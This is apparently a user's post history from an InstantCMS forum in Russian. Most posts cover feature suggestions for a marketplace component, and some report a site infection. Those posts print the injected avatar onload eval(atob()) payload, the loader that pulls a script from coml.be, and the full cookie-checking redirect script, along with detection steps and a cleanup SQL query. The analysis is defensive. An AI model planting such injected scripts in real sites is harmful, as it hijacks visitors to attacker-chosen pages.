Sonat

Sonat

+175
Репутация
362
Рейтинг
#1 Нужен парсер фото и названий 7 декабря 2017 в 12:46

Желательно побыстрее.

Олег с клещами
Вам срочно нужно спарсить/запостить кучу фото с описанием или нужен инструмент для постоянного парсинга?
#2 Конструктор тем для InstantCMS 2 7 декабря 2017 в 11:08

Вам мешают сообщения?

letsgo
Просто народ боится что R2, собрав список того что ему надо делать и как продавать,
забьется в угол и не выйдет на связь еще очень долго crazy
#3 [ЕСТЬ РЕШЕНИЕ] Проблема с хуком "content_before_item" 7 декабря 2017 в 10:59

если по-умолчанию не стоит не один контент

Вадим Нарочный
что значит "по-умолчанию"?

Если я правильно понял то хук вызывается перед просмотром страницы контента.
Ему передается массив с полями этого контента

Ни на какие другие страницы вы повлиять этим хуком не можете.


Или я что-то не так понял?.. scratch
#4 Обсуждение компонента "Барахолка" 7 декабря 2017 в 10:40
Jestik, возможно и опенкарта, но как по мне — это необходимый функционал любому современному движку магазина.


Ну если говорить о навороченном функционале то я бы предложил-

Модуль статистики ведущий учет продаж, людей, (в день / неделя / месяц / год / всего)
Статистика по посетителям: сколько было посетителей, покупателей, продаж, повторных продаж,
Статистика по продажам: кол-во продаж, сумма
Статистика по товарам: позволит понять самые продаваемые товары, категории
Вычисление из этих показателей по заданным админом формулам:
средний чек, прибыль при заданной марже, и тп
#5 Обсуждение компонента "Барахолка" 7 декабря 2017 в 09:33

Идеи всякие нужны, идеи всякие важны. Не стесняйтесь и не сдерживайтесь в идеях

Loadырь
Да как бы у меня речь не про супер навороченные идеи, а про необходимый минимум angel


Статусы заказа должны быть настраиваемые
большинству много разных статусов не нужно, многие обойдутся 2-3 стандартных "принят/оплачен/выполнен",
если вывалить то что предложено сейчас это будет только мешать
остальные статусы должны добавляться и обзываться из админки так как продавцу будет удобнее для его бизнес процесса


При добавление товара продавцом нужна возможность скопировать/сдублировать товар ,
Полезно при заполнении магазина схожими товарами,
чтобы не копировать ручками текст, описания, поля и пр, одного товар в буфер и вставлять в новом.
т.е. это просто кнопка "скопировать товар", нажав на которую в магазине появляется такоже товар
с разницей в ID и выключенным статусом отображения на сайте


Возможность вручную указать товары для кросс-сейла
сейчас у многих это просто модуль похожие товары/рекомендуем,
который рандомно или по тегам пихает все что ни попадя,
зачастую не имеющего ничего общего с товаром на карточке.


если товар закончился или выключен, карточка товара не выдает 404 ошибку,
а просто кнопка купить заменяется на надпись "товар временно отсутствует" — текст настраивается в админке
В категории для выключенных опционально на выбор:
товар не показывается вообще, показывается с пометкой, показывается после всех под заголовком отсутстуют

при учете товаров если товар заканчивается кол-во товара приближается к 0 (число настраиваемое)
— уведомляется продавец, появляется маркер на карточке товара что товар заканчивается — опционально


Печать накладной,
накладная состоит из шапки магазина, таблица с перечнем заказанных товаров, кол-во, цена, стоимость,
скидка, итоговая цена, информация покупателя


Разновидности товара
Один и тот же артикул может иметь разновидности (по размеру, цвету, комплектации и т.п.)
у разновидностей может быть своя цена, свои фото, свое кол-во на складе.
При поиске, и заказе выдаются поля тех разновидностей которые покупатель искал/заказал
т.е. если человек ищет в фильтре рубашку 52 размера он видит цену 52 размера
а не самую малую с размерного ряда,
если в фильтре выбран чехол золотистый фото показывается именно помеченное для золотистого
а не одно для всех расцветок; и это же фото висит в корзине


Пометки покупателей
Продавец может писать комментарии/заметки про покупателя видные только имеющим доступ в админку этого магазина
там можно отмечать лояльность покупателя, требовательность, кредит доверия или другие особенности покупателя.
Например: "вынес мозг покупая 2 пуговицы", или просто "мудак", "сын тёти Гали", "затягивает с оплатой", "12.10 не положили товар, вопрос решен в телефонном режиме. Доложить артикул 346 при следующей покупке, запись удалить!"
#6 Обсуждение компонента "Барахолка" 7 декабря 2017 в 07:12
Loadырь, тут речь исключительно про мультимагазин ака торговая площадка?
Обычный магазин и необходимый ему функционал уже не обсуждается? zst
#7 Обнаружен вирус на некоторых сайтах instantcms! 6 декабря 2017 в 18:02
Jestik, Не знаю, почта же крыта у всех, сайты не мои, доступа в админку нет.
#8 Обнаружен вирус на некоторых сайтах instantcms! 6 декабря 2017 в 17:51
Fuze, Спасибо! v

Рекомендуется ли всем обновиться?
#9 [ЕСТЬ РЕШЕНИЕ] Редирект родительской страницы 6 декабря 2017 в 17:43

Надо как-то наказать говносайт

AndroS
так может он сам ломаный…
или думаете чел под это дело регал домен и оплачивал хостинг? crazy


а твой знакомый спец не хочет подумать как это получилось?)

saraqael
Не, он давно от инстана "отвалился" — двойку в глаза не видел zst
#10 Обнаружен вирус на некоторых сайтах instantcms! 6 декабря 2017 в 15:07

А взлом не рассматривали?

Jestik
Не понял вопрос. scratchНу, да, это взлом, через уязвимость какого-то компонента или движка (что маловероятно).


Какой хостинг сразу пишите, может это у кого до уязвимость

Jestik
Разные сайты на разных хостингах — объединяет их то что они на instantcms
#1 Обнаружен вирус на некоторых сайтах instantcms! 6 декабря 2017 в 14:45
Уже насчитал больше 5 зараженных сайтов

Вирус делает перенаправление на левый сайт людей пришедших к вам из поисковиков


История с первым обнаружением и чем опасен вирус для самого сайта
тут — instantcms.ru/forum/thread28582-1.html


Подробности работы вируса:

К аватарке юзера прицеплен код
  1. <img src="/upload/003/u364/a3/03/dfb0d8e4.jpg" onload="eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vY29tbC5iZS9pYyI7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXS5hcHBlbmRDaGlsZChuKTs='))"
  2. width="32" height="32" alt="Елена Кучукова" title="Елена Кучукова" />
  3. </a>
Имя может быть любым

Который добавляет в тело подгрузку еще одного скрипта с адреса coml.be
  1. var n=document.createElement("script");
  2. n.src="//coml.be/ic";
  3. document.getElementsByTagName("body")[0].appendChild(n);

Скрипт coml.be проверяет/ставит свои куки, смотрит с поисковика ли и делает редирект на левый сайт
  1. var rref5877=document.referrer, rt5877=GetCookie5877('r5877'), ExpDate=new Date();if(parent.window.opener && (rref5877.indexOf('google')+1 || rref5877.indexOf('nova.rambler')+1)){if(rt5877==null){parent.window.opener.location.replace("http://ruinfoblog.com/out/?eUwaYQNoJENT");}} else if(rref5877.indexOf('google')+1 || rref5877.indexOf('yandex')+1 || rref5877.indexOf('go.mail')+1 || rref5877.indexOf('nova.rambler')+1){if(rt5877==null){document.onclick = function(){window.open('http://ruinfoblog.com/out/?eUwaYQNoJENT');document.onclick = null;};}} rref5877=unescape(rref5877);ExpDate.setTime(ExpDate.getTime()+(24*60*60*1000*30));SetCookie5877('r5877', '1', ExpDate, "/");function GetCookie5877Val(offset){var endstr=document.cookie.indexOf(";", offset);if(endstr==-1)endstr=document.cookie.length;return unescape(document.cookie.substring(offset, endstr));}function GetCookie5877(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i<clen){var j=i+alen;if(document.cookie.substring(i, j)==arg) return GetCookie5877Val(j);i=document.cookie.indexOf(" ", i)+1;if(i == 0) break;}return null;}function SetCookie5877(name, value){var argv=SetCookie5877.arguments;var argc=SetCookie5877.arguments.length;var expires=(argc>2)?argv[2]:null;var path=(argc>3)?argv[3]:null;var domain=(argc>4)?argv[4]:null;var secure=(argc>5)?argv[5]:false;document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"");}


Проверьте свои сайты!

Как проверить?

Зайдите на свой сайт и посмотрите куки
если есть r5877 значит вирус есть

Как быстро удалить?

Посмотрите юзеров зарегистрировавшихся за последние 2-3 недели
ищите аватарку женщины на черном фоне, и удалите юзера.
Вы видели эту женщину?

Полечиться можно вот таким запросом, выполнив его в phpmyadmin

  1.  
  2. UPDATE `cms_users` SET `avatar`= NULL WHERE `avatar` LIKE '%onload%'

Fuze



Как обезопасить себя?

Читать внимательно пост Fuze — instantcms.ru/forum/thread28589-1.html#276383
#11 [ЕСТЬ РЕШЕНИЕ] Редирект родительской страницы 6 декабря 2017 в 14:27
Показал знакомому спецу "интересную проблемку" smoke


Значит так расписываю подробно:

К аватарке юзера прицеплен код
  1. <a href="/users/364" title="Елена Кучукова">
  2. <img src="/upload/003/u364/a3/03/dfb0d8e4.jpg" onload="eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vY29tbC5iZS9pYyI7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXS5hcHBlbmRDaGlsZChuKTs='))"
  3. width="32" height="32" alt="Елена Кучукова" title="Елена Кучукова" />
  4. </a>

Который добавляет в тело подгрузку еще одного скрипта с адреса coml.be
  1. var n=document.createElement("script");
  2. n.src="//coml.be/ic";
  3. document.getElementsByTagName("body")[0].appendChild(n);

Скрипт coml.be проверяет/ставит свои куки, смотрит с поисковика ли и делает редирект на левый сайт
  1. var rref5877=document.referrer, rt5877=GetCookie5877('r5877'), ExpDate=new Date();if(parent.window.opener && (rref5877.indexOf('google')+1 || rref5877.indexOf('nova.rambler')+1)){if(rt5877==null){parent.window.opener.location.replace("http://ruinfoblog.com/out/?eUwaYQNoJENT");}} else if(rref5877.indexOf('google')+1 || rref5877.indexOf('yandex')+1 || rref5877.indexOf('go.mail')+1 || rref5877.indexOf('nova.rambler')+1){if(rt5877==null){document.onclick = function(){window.open('http://ruinfoblog.com/out/?eUwaYQNoJENT');document.onclick = null;};}} rref5877=unescape(rref5877);ExpDate.setTime(ExpDate.getTime()+(24*60*60*1000*30));SetCookie5877('r5877', '1', ExpDate, "/");function GetCookie5877Val(offset){var endstr=document.cookie.indexOf(";", offset);if(endstr==-1)endstr=document.cookie.length;return unescape(document.cookie.substring(offset, endstr));}function GetCookie5877(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i<clen){var j=i+alen;if(document.cookie.substring(i, j)==arg) return GetCookie5877Val(j);i=document.cookie.indexOf(" ", i)+1;if(i == 0) break;}return null;}function SetCookie5877(name, value){var argv=SetCookie5877.arguments;var argc=SetCookie5877.arguments.length;var expires=(argc>2)?argv[2]:null;var path=(argc>3)?argv[3]:null;var domain=(argc>4)?argv[4]:null;var secure=(argc>5)?argv[5]:false;document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"");}

Удалите юзера "Елена Кучукова" и редиректа не будет
а уже потом можно будет спокойно подумать как злоумышленник смог вставить код…
#12 [ЕСТЬ РЕШЕНИЕ] Редирект родительской страницы 5 декабря 2017 в 23:24
Нашел! dance

Этот гад подгружается скриптом с coml.be (перед закрывающим body)
проверяет referrer и если с поисковика то перекидывает на свой руинфоблог
но не всех, а только тех кто давно не заходил на сайт —
ставит свои куки и потом их проверяет что бы часто не палиться
#13 [ЕСТЬ РЕШЕНИЕ] Редирект родительской страницы 5 декабря 2017 в 22:13

. Есть какое-нибудь средство автоматизации для этого, чтобы не вручную?

Дмитрий Ядов
WinMerge
#14 Релакс 5 декабря 2017 в 20:05
🍪Мы используем файлы cookie для работы сайта. Читать подробнее.